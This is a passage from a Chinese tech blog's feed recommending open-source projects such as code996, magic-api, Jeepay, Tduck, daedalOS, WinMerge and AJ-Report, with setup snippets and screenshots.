src="https://gitee.com/sourceteam/blog-source/raw/master/images/202208/202208212240012.png"></li><li>双击执行<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202208/202208212240792.png"></li><li>执行完成后,过几秒会自动打开浏览器,显示结果<h2 id="结果展示"><a href="#结果展示" class="headerlink" title="结果展示"></a>结果展示</h2>随便找的一个项目,分析可以得知该项目妥妥的超996工作制。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202208/202208212242983.png"><br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202208/202208212242781.png"><br>注:996 指数:为 0 则不加班,值越大代表加班越严重,996 工作制对应的值为 100,负值说明工作非常轻松。</li></ol><h2 id="安全性"><a href="#安全性" class="headerlink" title="安全性"></a>安全性</h2><p>我们通过源码分析得知,该项目通过 git-log 对项目进行分析,统计 commit 的情况,然后将数值转换成url参数,打开浏览器访问带参数的静态页面,得到可视化的结果。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202208/202208212242552.png"><br>全程除了访问静态页面,就没有额外的请求,所以不用担心源码泄露等问题。</p><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>怎么样是不是很好用,又安全。可以用它揪出公司的卷王,可以用来判断新项目组的加班强度等等。更多的用途大家可以在挖掘挖掘,可以评论区在聊聊。</p><h3 id="项目地址"><a href="#项目地址" class="headerlink" title="项目地址"></a>项目地址</h3><pre><code>https://github.com/hellodigua/code996</code></pre>]]></content>
<tags>
<tag> 奔跑的阿白 </tag>
</tags>
</entry>
<entry>
<title>CRUD!这个API开发神器效率爆炸,无需定义MVC类!!</title>
<link href="/blog/2022/08/17/crud-zhe-ge-api-kai-fa-shen-qi-xiao-lu-bao-zha-wu-xu-ding-yi-mvc-lei/"/>
<url>/blog/2022/08/17/crud-zhe-ge-api-kai-fa-shen-qi-xiao-lu-bao-zha-wu-xu-ding-yi-mvc-lei/</url>
<content type="html"><![CDATA[<p>平常我们经常需要编写 API,但其实常常只是一些简单的增删改查,写这些代码非常枯燥无趣。</p><p>今天大叔给大家带来的是一款基于 Java 的<strong>可视化 HTTP API 接口快速开发框架</strong>,通过 UI 界面编写接口,<strong>无需</strong>定义 Controller、Service、Dao 等 Java 对象就能完成常见的接口开发:<code>magic-api</code></p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>magic-api 能够只通过 UI 界面就能完成简单常用的接口开发,能够支持市面上多数的关系性数据库,甚至还支持非关系性数据库 MongoDB。</p><p>通过 <code>magic-api</code> 提供的 UI 界面完成接口的开发,自动映射为 HTTP 接口,无需定义 Controller、Service、Dao、Mapper、XML、VO 等 Java 对象和相关文件!</p><p>该项目已经有<strong>上千家</strong>公司使用,上万名开发者使用,并有上百名程序员提交建议,20+ 贡献者,是非常值得信赖的项目!</p><h2 id="特性"><a href="#特性" class="headerlink" title="特性"></a>特性</h2><ul><li>支持关系型数据库 MySQL、PostgreSQL、SQLServer 等;</li><li>支持非关系性数据库 MongoDB 和 Redis;</li><li>支持分页查询,自定义分页结果;</li><li>支持在线调试;</li><li>支持数据库事务操作;</li><li>支持多数据源配置,动态修改;</li><li>支持集群部署、接口自动同步;</li><li>支持接口文档生成;</li><li>支持自定义 JSON 结果;</li><li>支持 SQL 缓存;</li><li>支持文件上传、下载、输出图片;</li><li>支持Linq式查询,关联、转换更简单;</li><li>支持脚本代码自动提示、参数提示、悬浮提示、错误提示;</li><li>支持自定义工具类、自定义模块包、自定义类型扩展、自定义方言、自定义列名转换等自定义操作;</li><li>……</li></ul><h2 id="UI-界面"><a href="#UI-界面" class="headerlink" title="UI 界面"></a>UI 界面</h2><p><img src="https://files.mdnice.com/user/21078/e9e8317c-e15f-48eb-a17b-66a03fb5bdc4.png" alt="编写接口"></p><p><img src="https://files.mdnice.com/user/21078/928c43cc-eedd-423e-9fa7-e8b544cb8d49.gif" alt="查询语句"></p><p><img src="https://files.mdnice.com/user/21078/2898a2c4-5baa-4585-bb32-d3467a9ebf0d.png" alt="历史记录"></p><p><img src="https://files.mdnice.com/user/21078/4017063e-6fd2-41b5-8d08-aeef6bbc23e7.png" alt="更改数据源"></p><h2 id="快速上手"><a href="#快速上手" class="headerlink" title="快速上手"></a>快速上手</h2><h3 id="Maven"><a href="#Maven" class="headerlink" title="Maven"></a>Maven</h3><pre class=" language-java"><code class="language-java"><span class="token operator">&lt;</span><span class="token operator">!</span><span class="token operator">--</span> 以spring<span class="token operator">-</span>boot<span class="token operator">-</span>starter的方式引用 <span class="token operator">--</span><span class="token operator">></span><span class="token operator">&lt;</span>dependency<span class="token operator">></span> <span class="token operator">&lt;</span>groupId<span class="token operator">></span>org<span class="token punctuation">.</span>ssssssss<span class="token operator">&lt;</span><span class="token operator">/</span>groupId<span class="token operator">></span> <span class="token operator">&lt;</span>artifactId<span class="token operator">></span>magic<span class="token operator">-</span>api<span class="token operator">-</span>spring<span class="token operator">-</span>boot<span class="token operator">-</span>starter<span class="token operator">&lt;</span><span class="token operator">/</span>artifactId<span class="token operator">></span> <span class="token operator">&lt;</span>version<span class="token operator">></span><span class="token number">2.0</span><span class="token punctuation">.</span><span class="token number">1</span><span class="token operator">&lt;</span><span class="token operator">/</span>version<span class="token operator">></span><span class="token operator">&lt;</span><span class="token operator">/</span>dependency<span class="token operator">></span></code></pre><h3 id="application-properties配置"><a href="#application-properties配置" class="headerlink" title="application.properties配置"></a>application.properties配置</h3><pre class=" language-java"><code class="language-java">server<span class="token punctuation">.</span>port<span class="token operator">=</span><span class="token number">8080</span>#配置web页面入口magic<span class="token operator">-</span>api<span class="token punctuation">.</span>web<span class="token operator">=</span><span class="token operator">/</span>magic#配置文件存储位置。当以classpath开头时,为只读模式magic<span class="token operator">-</span>api<span class="token punctuation">.</span>resource<span class="token punctuation">.</span>location<span class="token operator">=</span><span class="token operator">/</span>data<span class="token operator">/</span>magic<span class="token operator">-</span>api#配置存储方式magic<span class="token operator">-</span>api<span class="token punctuation">.</span>resourece<span class="token punctuation">.</span>type<span class="token operator">=</span>databasemagic<span class="token operator">-</span>api<span class="token punctuation">.</span>resourece<span class="token punctuation">.</span>tableName<span class="token operator">:</span>xxx#数据源spring<span class="token punctuation">.</span>datasource<span class="token punctuation">.</span>type<span class="token operator">=</span>xxxspring<span class="token punctuation">.</span>datasource<span class="token punctuation">.</span>url<span class="token operator">=</span>jdbc<span class="token operator">:</span>mysql<span class="token operator">:</span><span class="token operator">/</span><span class="token operator">/</span>xxxspring<span class="token punctuation">.</span>datasource<span class="token punctuation">.</span>username<span class="token operator">=</span>rootspring<span class="token punctuation">.</span>datasource<span class="token punctuation">.</span>password<span class="token operator">=</span>xxx</code></pre><h3 id="访问"><a href="#访问" class="headerlink" title="访问"></a>访问</h3><p><code>http://localhost:8080/magic</code> 访问地址</p><h3 id="添加操作"><a href="#添加操作" class="headerlink" title="添加操作"></a>添加操作</h3><p>在分组中右键新建接口,填写接口的相关信息和脚本:</p><p><a href="https://img2020.cnblogs.com/blog/1746338/202106/1746338-20210603093553648-1293283010.png">https://img2020.cnblogs.com/blog/1746338/202106/1746338-20210603093553648-1293283010.png</a><br><img src="https://files.mdnice.com/user/21078/16c4515f-8fd7-4fd4-b693-6cd70443167a.png"></p><p>点击右上角的执行按钮,执行结果中返回 success,说明接口编写成功,能够在数据库中查询到数据已经添加进来。</p><p><a href="https://img2020.cnblogs.com/blog/1746338/202106/1746338-20210603093656074-277870759.png">https://img2020.cnblogs.com/blog/1746338/202106/1746338-20210603093656074-277870759.png</a><br><img src="https://files.mdnice.com/user/21078/477d3de7-ef06-4367-8b1b-15bc260e994f.png"></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>今天大叔给大家介绍的 Java 接口快速开发框架是非常有趣的项目,真正能够帮助我们处理简单的一般业务逻辑接口,非常 YYDS!</p><p>我把项目地址放到下面啦,感兴趣的同学赶快去试试吧!</p><p><code>https://github.com/ssssssss-team/magic-api</code></p>]]></content>
<tags>
<tag> 怂 </tag>
</tags>
</entry>
<entry>
<title>私活神器!!SpringBoot+Vue企业级支付系统!附源码!</title>
<link href="/blog/2022/08/16/niu-bi-springboot-vue-qi-ye-ji-zhi-fu-xi-tong-fu-yuan-ma/"/>
<url>/blog/2022/08/16/niu-bi-springboot-vue-qi-ye-ji-zhi-fu-xi-tong-fu-yuan-ma/</url>
<content type="html"><![CDATA[<p>我们在做项目时候,支付往往是其中重要的一环,目前市面上的支付产品有很多,比如支付宝、微信支付、云闪付,还有各大银行,如果支付系统都要从头对接,工作量那是相当大,大叔本着避免重复造轮子原则,给大家推荐一套适合互联网企业使用的开源支付系统 – Jeepay。</p><h3 id="项目简介"><a href="#项目简介" class="headerlink" title="项目简介"></a>项目简介</h3><p>Jeepay 已对接<code>微信支付</code>,<code>支付宝</code>,<code>云闪付</code>等接口,支持聚合码支付。适合企业使用的开源支付系统。</p><h3 id="项目特点"><a href="#项目特点" class="headerlink" title="项目特点"></a>项目特点</h3><ul><li>支持多渠道对接,支付网关自动路由</li><li>支持微信支付(普通商户和服务商模式)</li><li>支持微信支付(普通商户和服务商模式)</li><li>支持云闪付(服务商模式)</li><li>前后端分离架构,后端使用 java开发语言,spring boot, spring security安全框架, 前端使用 vue全家桶</li><li>完善的后台管理系统,包括运营平台和商户平台</li><li>通过页面配置支付渠道参数</li><li>支持 docker 部署</li></ul><h3 id="系统架构"><a href="#系统架构" class="headerlink" title="系统架构"></a>系统架构</h3><p><img src="https://jeequan.oss-cn-beijing.aliyuncs.com/jeepay/img/jeepay_framework.png"></p><p>支付流程图</p><p><img src="https://jeequan.oss-cn-beijing.aliyuncs.com/jeepay/img/jeepay_qr.png"></p><h3 id="技术选型"><a href="#技术选型" class="headerlink" title="技术选型"></a>技术选型</h3><ul><li>Spring Boot:2.4.5</li><li>Spring Security :5.4.7</li><li>Mybatis Plus:3.4.2</li><li>hutool:5.6.6</li><li>MySQL:5.7.X 或 8.0 高版本</li><li>Redis:3.2.8</li><li>MQ:ActiveMQ 或 RabbitMQ 或 RocketMQ</li><li>vue:2.1.2</li></ul><h3 id="系统使用"><a href="#系统使用" class="headerlink" title="系统使用"></a>系统使用</h3><p>1、增加商户</p><p><img src="https://docs.jeequan.com/uploads/jeepay/images/m_56da4596bcb4d6688de2cf3d0f269fe6_r.png"></p><p>2、配置应用</p><p>进入商户的应用列表,为某个应用配置支付。</p><p><img src="https://docs.jeequan.com/uploads/jeepay/images/m_60a98ff32fc37b7600b9c19a6c11ba88_r.png"></p><p>3、配置支付参数</p><p>为应用配置支付接口参数。</p><p><img src="https://docs.jeequan.com/uploads/jeepay/images/m_60a98ff32fc37b7600b9c19a6c11ba88_r.png"></p><p>4、配置支付方式</p><p><img src="https://docs.jeequan.com/uploads/jeepay/images/m_d8efea7b5ebbd73081f4bba0d425a9b8_r.png"></p><p>配置支付接口参数</p><p><img src="http://jeequan.oss-cn-beijing.aliyuncs.com/jeepay/img/yanshi/013.png"></p><p>5、支付测试</p><p>配置完以上这些参数,可以进入商户系统,发起支付测试。</p><p><img src="https://docs.jeequan.com/uploads/jeepay/images/m_45a88c31a6996c2c86a019443cd5eebe_r.png"></p><h3 id="系统截图"><a href="#系统截图" class="headerlink" title="系统截图"></a>系统截图</h3><p><img src="http://jeequan.oss-cn-beijing.aliyuncs.com/jeepay/img/yanshi/002.png" alt="商户系统"></p><p><img src="http://jeequan.oss-cn-beijing.aliyuncs.com/jeepay/img/yanshi/023.png" alt="运营系统"></p><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>Jeepay 对接了多种支付渠道,可以基于Jeepay平台作为开发框架进行业务功能的二次开发,满足企业需求。有需要的同学赶快去试试吧!</p><pre><code>后端地址:https://gitee.com/jeequan/jeepay前端地址:https://gitee.com/jeequan/jeepay-ui文档地址:https://docs.jeequan.com/docs/jeepay/index</code></pre>]]></content>
<tags>
<tag> 胜 </tag>
</tags>
</entry>
<entry>
<title>我用这项目几分钟就搞定了老板的任务,立马升职加薪!</title>
<link href="/blog/2022/08/16/wo-yong-zhe-xiang-mu-ji-fen-zhong-jiu-gao-ding-liao-lao-ban-de-ren-wu-li-ma-sheng-zhi-jia-xin/"/>
<url>/blog/2022/08/16/wo-yong-zhe-xiang-mu-ji-fen-zhong-jiu-gao-ding-liao-lao-ban-de-ren-wu-li-ma-sheng-zhi-jia-xin/</url>
<content type="html"><![CDATA[<p>大家好,我是机智的开源小妹。</p><p>这些天老板和我说,公司要开发一套问卷调查系统,让我先做做调研,等立项后就开始设计开发。要是搞得又快又好,就给我升职加薪。我合计这可是薪资倒挂开源大叔的好机会啊!于是马上答应了下来。</p><p>造轮子不是我的强项,改轮子才是。于是机智的我上 GitHub 上搜罗了一圈,发现了这个宝藏开源问卷系统——Tduck 填鸭收集器。</p><h2 id="项目简介"><a href="#项目简介" class="headerlink" title="项目简介"></a>项目简介</h2><p>Tduck 填鸭收集器是一款开源的表单在线收集系统,功能强大,界面美观。技术栈方面,后端使用了常见的 SpringBoot、MybatisPlus、MySql、Redis 组合,前端使用了 Vue ElementUI,非常适合我们进行二次开发。</p><p>这个项目有以下几个优点:</p><ul><li><p>部署方便</p></li><li><p>只需要拖拖拽拽就可以快速生成问卷</p></li><li><p>问卷外观设计灵活</p></li><li><p>有直观的数据分析统计功能</p></li></ul><h2 id="项目部署"><a href="#项目部署" class="headerlink" title="项目部署"></a>项目部署</h2><p>项目需要对前后端分别部署。</p><h3 id="后端部署"><a href="#后端部署" class="headerlink" title="后端部署"></a>后端部署</h3><p>后端项目为<code>tduck-platform</code></p><ol><li><p>创建tduck数据库,执行项目目录下doc/tduck.sql文件</p></li><li><p>启动后端服务,在命令行界面,输入以下命令:</p></li></ol><pre class=" language-undefined"><code class="language-undefined">mvn clean install -DskipTestscd tduck-platform/tduck-apimvn clean package -DskipTestsjava -Dfile.encoding=UTF-8 -jar target/tduck-api.jar</code></pre><h3 id="前端部署"><a href="#前端部署" class="headerlink" title="前端部署"></a>前端部署</h3><p>前端项目为<code>tduck-front</code></p><p>在命令行界面输入以下命令:</p><pre class=" language-undefined"><code class="language-undefined">npm install -g cnpm --registry=https://registry.npm.taobao.orgcd tduck-frontcnpm installcnpm run serve</code></pre><p>部署成功后,在浏览器内访问<code>http://localhost:8888</code>即可进入页面了。</p><p>当然,也可以采用一键部署的方法,这里就不多介绍啦。</p><h2 id="功能介绍"><a href="#功能介绍" class="headerlink" title="功能介绍"></a>功能介绍</h2><p>我们也可以访问演示地址,来试用这套系统。在这里我给大家演示一下我认为很棒的功能。</p><h3 id="问卷编辑"><a href="#问卷编辑" class="headerlink" title="问卷编辑"></a>问卷编辑</h3><p>在编辑界面,你只需要在左边的组件列表里的组件拖拽到问卷界面中,在右侧编辑信息,就可以快速添加一个问题啦。</p><p><img src="http://img.esparks.cn/img/20220816184216_ca7c166fe903c5d2e49edcf99df1cc4c.png"></p><h3 id="数据统计与分析"><a href="#数据统计与分析" class="headerlink" title="数据统计与分析"></a>数据统计与分析</h3><p>发布问卷后,如果有人提交了问卷,你可以点击左侧的统计按钮,进入统计页面。</p><p>在统计视图标签页里,我们可以看到每天的提交数量,提交地域以及提交设备。</p><p><img src="http://img.esparks.cn/img/20220816184334_7f494c066de152d98354160ee03ae1e6.png"></p><p>在数据分析标签页里,可以对每个问题提交的选项进行统计分析。</p><p><img src="http://img.esparks.cn/img/20220816184337_0e732d5060d6091e48f3ff4f67dba252.png"></p><p>怎么样,是不是直观且方便。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>好啦,这款 Tduck 填鸭收集器就先介绍到这里。从部署到使用,小妹感觉这个问卷系统是真的好用。嘿嘿嘿,好像不到一天就可以完成老板交代的任务了哟,从此升职加薪不在话下!</p><p>我把项目地址放到下面啦,你们也去试试吧。</p><pre class=" language-undefined"><code class="language-undefined">项目地址:https://github.com/TDuckCloud演示地址:https://www.tduckcloud.com</code></pre>]]></content>
<tags>
<tag> 白小白 </tag>
</tags>
</entry>
<entry>
<title>在手机上体验Windows,这个项目牛逼!</title>
<link href="/blog/2022/08/07/zai-shou-ji-shang-ti-yan-windows-zhe-ge-xiang-mu-niu-bi/"/>
<url>/blog/2022/08/07/zai-shou-ji-shang-ti-yan-windows-zhe-ge-xiang-mu-niu-bi/</url>
<content type="html"><![CDATA[<p>在手机上体验Windows,这个项目牛逼!</p><p>大家好,我是可爱又机灵的开源小妹!</p><p>大家在手机上体验过 Win 系统吗?借助模拟器等工具确实可以,但体验非常的“赶人”,尤其是低配置的话,让小妹直接想~~~</p><p><img src="https://files.mdnice.com/user/20902/64ccdbda-1f87-4e10-a393-ee109acd6ee7.png"></p><p>今天,小妹来给大家介绍一个这样的开源项目 - <code>daedalOS</code>,能够让你直接在浏览器内运行 Win 系统,而且是非常丝滑般的体验。</p><p><img src="https://files.mdnice.com/user/20902/6384b0b7-51bd-408c-a38d-65f0c53f46dd.jpg"></p><h2 id="项目简介"><a href="#项目简介" class="headerlink" title="项目简介"></a>项目简介</h2><p><code>daedalOS</code> 是一款开源的基于WebAssembly在浏览器中实现桌面操作系统,由一位加拿大自学成材的名为 Dustin Brett 的软件开发者花了近一年时间所开发的,主要用 JavaScript 和 TypeScript 编写的。</p><p><img src="https://files.mdnice.com/user/20902/1e7247f0-4aa9-4f90-a729-25843f196a48.png"></p><h2 id="项目功能"><a href="#项目功能" class="headerlink" title="项目功能"></a>项目功能</h2><p><img src="https://files.mdnice.com/user/20902/03d4819e-bc3a-436b-a09b-90f1a1b8122c.png"></p><h2 id="项目体验"><a href="#项目体验" class="headerlink" title="项目体验"></a>项目体验</h2><p>为了让大家能够直观体验的项目的特色功能,作者贴心的准备了一个在线的网页可以使用。</p><p>进入daedalOS,屏幕上出现的桌面将会呈动态形式。大部分的UI是照着win10做的,图标、开始菜单,桌面也有我的电脑,文件之类的,和 win10 非常的相似。</p><p><img src="https://files.mdnice.com/user/20902/6dd93cbe-10ea-4fc8-a617-68ee347703ca.gif"></p><p>桌面上有 4 个默认快捷方式,分别是我的电脑、Dustin文件夹、作者的博客记录,以及经典的游戏 Doom(毁灭战士)。</p><p><img src="https://files.mdnice.com/user/20902/ed3027b4-32cf-4db5-9aa9-9c657722ec70.png"></p><p>Dustin文件夹、作者的博客记录里面有非常多作者希望展示的内容,甚至包括很多作者的生活记录,如旅行、婚礼等等。</p><p><img src="https://files.mdnice.com/user/20902/164ac36c-7ce3-416b-9607-d9f2055e7b6f.png"></p><p>Doom(毁灭战士)则不用说了,经典熟悉的画面,没想到在这个网页里,还能找回童年的感觉。</p><p><img src="https://files.mdnice.com/user/20902/d9eb04a7-61e2-46e3-b712-26394ff0a0f5.png"></p><p>除此之外,开始菜单中还有更多的功能,包括文本编辑器、模拟器、网页浏览器、开发工具,多媒体查看工具等,写文档代码、玩游戏、看图片、听音乐、看视频、上网等等都没有问题。</p><p><img src="https://files.mdnice.com/user/20902/bfe4c289-a636-43fc-8263-6dea208136f7.gif"></p><p><img src="https://files.mdnice.com/user/20902/86b33169-4936-48ca-b175-c2f38752948e.png" alt="浏览器"></p><p><img src="https://files.mdnice.com/user/20902/ae29a9b9-60da-4854-b18f-169b54b8a068.png" alt="DevTools"></p><p><img src="https://files.mdnice.com/user/20902/b1343dc2-b76e-4614-873d-ef2b13e59376.png" alt="文本代码编辑"></p><p>关于这个项目的更多详细使用姿势,大家可以自己查阅下开源项目地址:</p><pre><code>项目地址:https://github.com/DustinBrett/daedalOS体验地址:https://dustinbrett.com/</code></pre><h3 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h3><p>欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!</p><p>进群方式:<code>开源小分队</code> 公众号后台回复<code>888</code>,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对小妹非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 永恒君 </tag>
</tags>
</entry>
<entry>
<title>开源免费的文件对比利器,真香!</title>
<link href="/blog/2022/08/07/kai-yuan-mian-fei-de-wen-jian-dui-bi-li-qi-zhen-xiang/"/>
<url>/blog/2022/08/07/kai-yuan-mian-fei-de-wen-jian-dui-bi-li-qi-zhen-xiang/</url>
<content type="html"><![CDATA[<p>开源免费的文件对比利器,真香!</p><p>大家好,我是爱撸码的开源大叔!</p><p>作为程序猿的我们,平常肯定少不了<strong>需要对比两个或者多个代码、文件或者文件夹的差异</strong>。</p><p>今天,大叔就来分享一款 win 平台下的免费开源的文件对比神器 - <code>WinMerge</code></p><p><img src="https://files.mdnice.com/user/20902/80b82b78-c0af-47a7-be2d-fb813a4b33f8.png"></p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p><code>WinMerge</code> 是一个免费开源的文件内容差异对比软件,<strong>支持文本文件、文件夹、图片、二进制等等文件比较和表格比较</strong>,非常适合经常程序员或者经常写文档、整理资料的人使用。</p><h2 id="下载安装"><a href="#下载安装" class="headerlink" title="下载安装"></a>下载安装</h2><p>直接在官网下载EXE安装即可,支持简体中文。</p><p><img src="https://files.mdnice.com/user/20902/e026949f-1fd4-4ffe-bee3-db14b0318ee6.jpg"></p><h2 id="简单使用"><a href="#简单使用" class="headerlink" title="简单使用"></a>简单使用</h2><p>下面依次来演示一下<code>文本文件比较、文件夹比较、图片比较和表格比较</code>用法。</p><h3 id="文件比较"><a href="#文件比较" class="headerlink" title="文件比较"></a>文件比较</h3><p>点击文件-打开菜单</p><p><img src="https://files.mdnice.com/user/20902/c3df664f-5eaa-401f-b940-3c7f91d0adff.jpg"></p><p>依次选择选择需要对比的文本文件 - 比较,文本文件内不相同内容就用黄色标识出来了。</p><p><img src="https://files.mdnice.com/user/20902/b16b9732-12ca-4ec9-9fa6-6ce5c56a1016.jpg"></p><p><img src="https://files.mdnice.com/user/20902/17b81196-4a9d-4061-bcde-52bdce39b707.jpg"></p><p>点击鼠标右键,可以进行左右复制等操作。</p><p><img src="https://files.mdnice.com/user/20902/ed01e1a0-79b1-4888-ba5c-f5fb22f84cd7.jpg"></p><h3 id="文件夹比较"><a href="#文件夹比较" class="headerlink" title="文件夹比较"></a>文件夹比较</h3><p>操作和上面基本类似,点击文件-打开菜单,选择需要对比的文件夹,点击比较按钮。</p><p><img src="https://files.mdnice.com/user/20902/4830d4e9-273a-477a-8faf-8cfd67b481a5.jpg"></p><p>不同的内容就用不同的颜色表明出来了。</p><p>如果是子文件夹不同的话,可点击前面的<code>&gt;</code>号按钮,就能查看具体的差异内容。</p><p><img src="https://files.mdnice.com/user/20902/e90d1914-97cd-489c-a916-74699a7a83c6.jpg"></p><p>点击右键,还可以进行一系列的操作,如复制、移动、删除等等。</p><p><img src="https://files.mdnice.com/user/20902/8ac78b1f-0df5-4fa5-b414-e0c5510a3c29.jpg"></p><h3 id="图片比较"><a href="#图片比较" class="headerlink" title="图片比较"></a>图片比较</h3><p>图片比较,大叔觉得是一个亮点的地方。</p><p>点击文件-打开菜单,选择需要对比的图片,点击比较按钮。</p><p>图片不同的地方就会通过方块高亮显示。</p><p><img src="https://files.mdnice.com/user/20902/aab4006e-320c-4b47-9832-a287d93b7a1a.jpg"></p><p>这里大叔发现,不是每次都能完美识别到图片的有差异的部分,很多时候会需要手工调节块大小、块不透明、色距阈值这几个按钮,组合来实现。</p><p><img src="https://files.mdnice.com/user/20902/2a8af403-cff7-4990-b29c-3254bc5e1c07.jpg"></p><p>右键同样还可以有一系列的功能。</p><p><img src="https://files.mdnice.com/user/20902/afb01009-7018-48de-8b9d-42173353841b.jpg"></p><h3 id="表格比较"><a href="#表格比较" class="headerlink" title="表格比较"></a>表格比较</h3><p>关于表格的比较,支持 CSV/TSV 格式的表格比较,如下图,</p><p><img src="https://files.mdnice.com/user/20902/9dfac700-aa5f-44ea-ba74-dc47a22351d9.jpg"></p><p><img src="https://files.mdnice.com/user/20902/4a1d98e6-a03d-402a-abca-6d0f2643377d.jpg"></p><p>点击右键,支持选中行内差异、复制差异内容进行合并:</p><p><img src="https://files.mdnice.com/user/20902/6d517c58-280e-440d-bc7e-235f41fece0f.jpg"></p><p>另外,<code>winmerge</code>还支持三个文件夹及文件的对比,基本操作基本没啥区别,这里就不展示了,大家可以自行探索。</p><p>关于这个项目的更多详细使用功能,大家可以自己查阅下开源项目地址和官网:</p><pre><code>Github地址:https://github.com/WinMerge/winmerge官网:https://winmerge.org/</code></pre><h3 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h3><p>欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!</p><p>进群方式:<code>开源小分队</code> 公众号后台回复<code>888</code>,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对大叔非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 永恒君 </tag>
</tags>
</entry>
<entry>
<title>这个数据可视化大屏项目,绝了,贼好用</title>
<link href="/blog/2022/08/06/ke-shi-hua-da-ping-xiang-mu/"/>
<url>/blog/2022/08/06/ke-shi-hua-da-ping-xiang-mu/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸代码的开源大叔。</p><p>数据可视化在当下的工作当中被我们频繁提到或者是利用到,也是因为视觉仍然是目前人们从外界获取信息的主要来源途径。通过图表的处理,我们能够更快速的获取数据要传达的信息。</p><p>今天给大家推荐一款目前我见过最好的数据可视化项目– AJ-Report。AJ-Report 是一个可视化拖拽编辑的、直观酷炫,具有科技感的图表工具开源项目。</p><h3 id="项目特性"><a href="#项目特性" class="headerlink" title="项目特性"></a>项目特性</h3><ul><li>支持多种数据源: es,mysql,oracle,kudu,同时支持动态扩展数据源</li><li>技术架构:前端使用Vue、Element,后端使用 SpringBoot</li><li>功能完善:丰富的大屏组件实现拖拽生成大屏,完善的权限管理。</li><li>丰富的图表组件:支持文本、视频、图片、表格、地图、各种统计图表</li></ul><center> <img src="https://ajreport.beliefteam.cn/report-doc/assets/img/img_24.3ebf6fac.png" style="zoom:50%;" /> <img src="https://ajreport.beliefteam.cn/report-doc/assets/img/img_25.b479fef2.png" alt="img25" style="zoom:50%;" /><h3 id="数据流程图"><a href="#数据流程图" class="headerlink" title="数据流程图"></a>数据流程图</h3><p><img src="https://images.gitee.com/uploads/images/2021/0630/160451_31bb9052_1728982.png"></p><h3 id="系统展示"><a href="#系统展示" class="headerlink" title="系统展示"></a>系统展示</h3><p><img src="https://gitee.com/zysspace/mq-demo/raw/master/image/202208092038752.png"></p><p><img src="https://ajreport.beliefteam.cn/report-doc/assets/img/img2.d3ee5789.png"></p><h3 id="快速使用"><a href="#快速使用" class="headerlink" title="快速使用"></a>快速使用</h3><ul><li>配置数据源</li></ul><p><img src="https://ajreport.beliefteam.cn/report-doc/assets/img/img_1.40ead784.png"></p><ul><li>配置数据集</li></ul><p>写 SQL 配置数据集,尽量不要使用 “select *”,以及展示很大的数据量,图表不一定能展示、页面可能会卡死。</p><p><img src="https://gitee.com/zysspace/mq-demo/raw/master/image/202208092038398.png"></p><ul><li>拖拽配置大屏</li></ul><p>图表和数据集是强关联关系,比如柱状图,数据集对应字典值需要选择一个“X轴”、“柱状”,只需要2个字段。</p><p>配置图表属性,比如配置标题、背景颜色、坐标轴颜色、坐标字号等等。</p><p><img src="https://ajreport.beliefteam.cn/report-doc/assets/img/img_13.6d09d3d6.png"></p><p>配置数据集</p><p><img src="https://gitee.com/zysspace/mq-demo/raw/master/image/202208061250670.png"></p><p>配置坐标</p><p>配置组件的左边距、上边距、宽度、高度</p><p><img src="https://gitee.com/zysspace/mq-demo/raw/master/image/202208061251600.png"></p><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>AJ-Report 是一款通过拖拽实现的可视化大屏项目,上手很快,目前已支持25种大屏组件/图表。</p><pre><code>项目地址:https://gitee.com/anji-plus/report可视化大屏模板:https://gitee.com/52itstyle/visual-large-screen说明文档:https://ajreport.beliefteam.cn/report-doc/</code></pre>]]></content>
<tags>
<tag> 胜 </tag>
</tags>
</entry>
<entry>
<title>用这个程序员专属的知识库搭建工具,从此告别印象笔记!</title>
<link href="/blog/2022/07/25/yong-zhe-ge-cheng-xu-yuan-zhuan-shu-de-zhi-shi-ku-da-jian-gong-ju-cong-ci-gao-bie-yin-xiang-bi-ji/"/>
<url>/blog/2022/07/25/yong-zhe-ge-cheng-xu-yuan-zhuan-shu-de-zhi-shi-ku-da-jian-gong-ju-cong-ci-gao-bie-yin-xiang-bi-ji/</url>
